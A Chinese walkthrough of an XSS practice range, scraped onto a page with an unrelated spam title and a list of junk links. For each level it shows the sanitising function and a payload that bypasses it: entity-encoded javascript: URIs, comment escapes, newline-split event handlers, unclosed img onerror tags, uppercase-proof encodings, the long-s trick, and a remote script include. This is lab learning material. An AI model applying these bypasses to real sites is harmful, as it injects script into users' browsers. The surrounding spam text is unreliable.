当前位置: 首页 > news >正文

没有营业执照可以建设网站免费建站系统哪个好用吗

没有营业执照可以建设网站,免费建站系统哪个好用吗,毕业生对于网站建设感受,o2o商城网站搭建靶场地址alert(1) 1、第一关 输入在文本框里面,我们闭合前面的标签,中间的内容我们就可以随意写了 2、第二关 逃逸value的属性即可,这里使用点击事件触发xss 3、第三关 看代码,使用了正则表达式,去掉了所有的括号字…

靶场地址alert(1)

1、第一关

输入在文本框里面,我们闭合前面的标签,中间的内容我们就可以随意写了

2、第二关

逃逸value的属性即可,这里使用点击事件触发xss

3、第三关

看代码,使用了正则表达式,去掉了所有的括号字符

/[()]/g是一个正则表达式,表示匹配字符串中包含的括号字符"()"。在正则表达式中,方括号[]表示字符集合,其中列出的字符表示需要匹配的字符。因此[()]表示匹配任何一个括号字符,即左括号"("或右括号")"。而后面的g标志表示全局匹配,即匹配整个字符串中的所有符合条件的部分,而不是只匹配第一个。

function render (input) {const stripBracketsRe = /[()]/ginput = input.replace(stripBracketsRe, '')return input
}

尝试编码绕过,但是因为在JavaScript里面不会解码,因此编码绕过失败

(1)a标签

我们使用a标签,里面使用编码却可以绕过,为啥?因为编码有顺序

在href里面,先是解析url编码,然后html实体编码,最后是JavaScript编码。所以在里面先被html实体编码解析过了,括号已经生成了

<a href="javascript:alert&#40;1&#41;">test</a>

(2)iframe标签

既然html在JavaScript前面,那么具有url编码的iframe标签也可以进行

<iframe src="javascript:alert&#40;1&#41;">test</iframe>

4、第四关

和上一关payload一样,只是增加了个反引号过滤罢了

5、第五关

让我们逃逸注释符

function render (input) {input = input.replace(/-->/g, '😂')return '<!-- ' + input + ' -->'
}
--!><script>alert(1)</script>

上面这种可以闭合

6、第六关

源码过滤了以auto或on开头并且结尾是=的字符串,替换成_了,我们可以使用换行来分开这串字符串

function render (input) {input = input.replace(/auto|on.*=|>/ig, '_')return `<input value=1 ${input} type="text">`
}

payload

onclick
=alert(1)

7、第七关

源码过滤了html的常用标签符号,当我们尝试<>,就会过滤掉,因此绕过方法是使用单标签不完全闭合。

function render (input) {const stripTagsRe = /<\/?[^>]+>/giinput = input.replace(stripTagsRe, '')return `<article>${input}</article>`
}
<img src=x onerror="alert(1)"

8、第八关

正则过滤了</script>,和前面一关很像,直接换行过滤即可

</style
>
<script>alert(1)</script>
<style>

9、第九关

https://www.segmentfault.com"></script><script>alert(1)</script>//
https://www.segmentfault.com.haozi.me/j.js

10、0x0A

URL重定向

https://www.segmentfault.com.haozi.me/j.js

11、0x0B

源码将输入的转成大写了,JavaScript肯定不行了,但是HTML不区分大小写,符号和数字也不会,那就用编码呗

function render (input) {input = input.toUpperCase()return `<h1>${input}</h1>`
}
<img src="" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">

12、0x0C

和上一关payload一样,编码绕过大写即可

13、0x0D

这一关过滤了< " '而且前面还有注释,我们使用换行绕过//,使用-->注释掉


alert(1)
-->

14、0x0E

源码将html的标签转换为以_开头,所有输入转为大写

function render (input) {input = input.replace(/<([a-zA-Z])/g, '<_$1')input = input.toUpperCase()return '<h1>' + input + '</h1>'
}

特殊技巧用ſ字符可以替换s

<ſcript src="https://xss.haozi.me/j.js"></script>

15、0x0F

闭合括号就行

');alert('1

16、第十关

直接闭合前面的<script标签即可>

</script><script>alert(1)

17、第十一关

还是闭合加注释即可

");alert(1)//

18、第十二关

转义转义我们的转义符号

\");alert(1)//

Yes 结束!

http://www.yayakq.cn/news/119248/

相关文章:

  • 网站排名在线优化工具济南电子商务网站建设
  • wordpress 仿简书杭州seo公司服务
  • wordpress数据在哪个文件夹百度seo关键词优化排名
  • 河池市住房城乡建设网站wordpress 作者推荐
  • 河南网站推广多少钱搜索引擎的工作原理是什么?
  • 怎么做算命网站辽宁pc网站建设开发
  • 开源网站 做镜像 如何做成全视频免费观看在线看古装电视剧
  • 怎么修复网站死链山西省两学一做网站
  • 杭州网站推广方式网络营销模式包括哪些
  • 天津网站制作企业wordpress 父类 id
  • 做网站赌钱犯法吗装修公司谁做网站
  • 建设企业营销型网站高端网站定制设计
  • 网站建设什么好济南网络营销外包
  • 深圳龙岗区住房和建设局网站官网制冷机电工程东莞网站建设
  • 移动端网站怎么布局简述一个商务网站建设的步骤
  • 绿色环保材料网站模板下载天津网站开发培训
  • 西宁网站建设的公司在阿里云服务器做淘客网站
  • 后台网站要做权限前端还是后台做时尚类网站建设
  • 企业网站开发 文献综述沧州到黄骅
  • 柳州网站建设排行榜公司注册网上签字流程
  • 服务器做网站配置怎样更新网站
  • 国家和住房城乡建设部网站抑郁症状有哪些表现免费咨询
  • 网站业务员怎么给客户做方案网络推广网站程序
  • 在国外网站付款要怎么做淘宝网站小视频怎么做的
  • 儿童玩具商城网站建设页面设计工作内容自述
  • 一般网站服务器app怎样下载安装
  • 网站前台做哪些工作内容雄安做网站要多少钱
  • 青县网站制作怎么把自己笔记本做服务器做个网站
  • 百度站长平台快速收录怎么弄策划书标准格式
  • 校园网站cms下面哪个是h5轻设计平台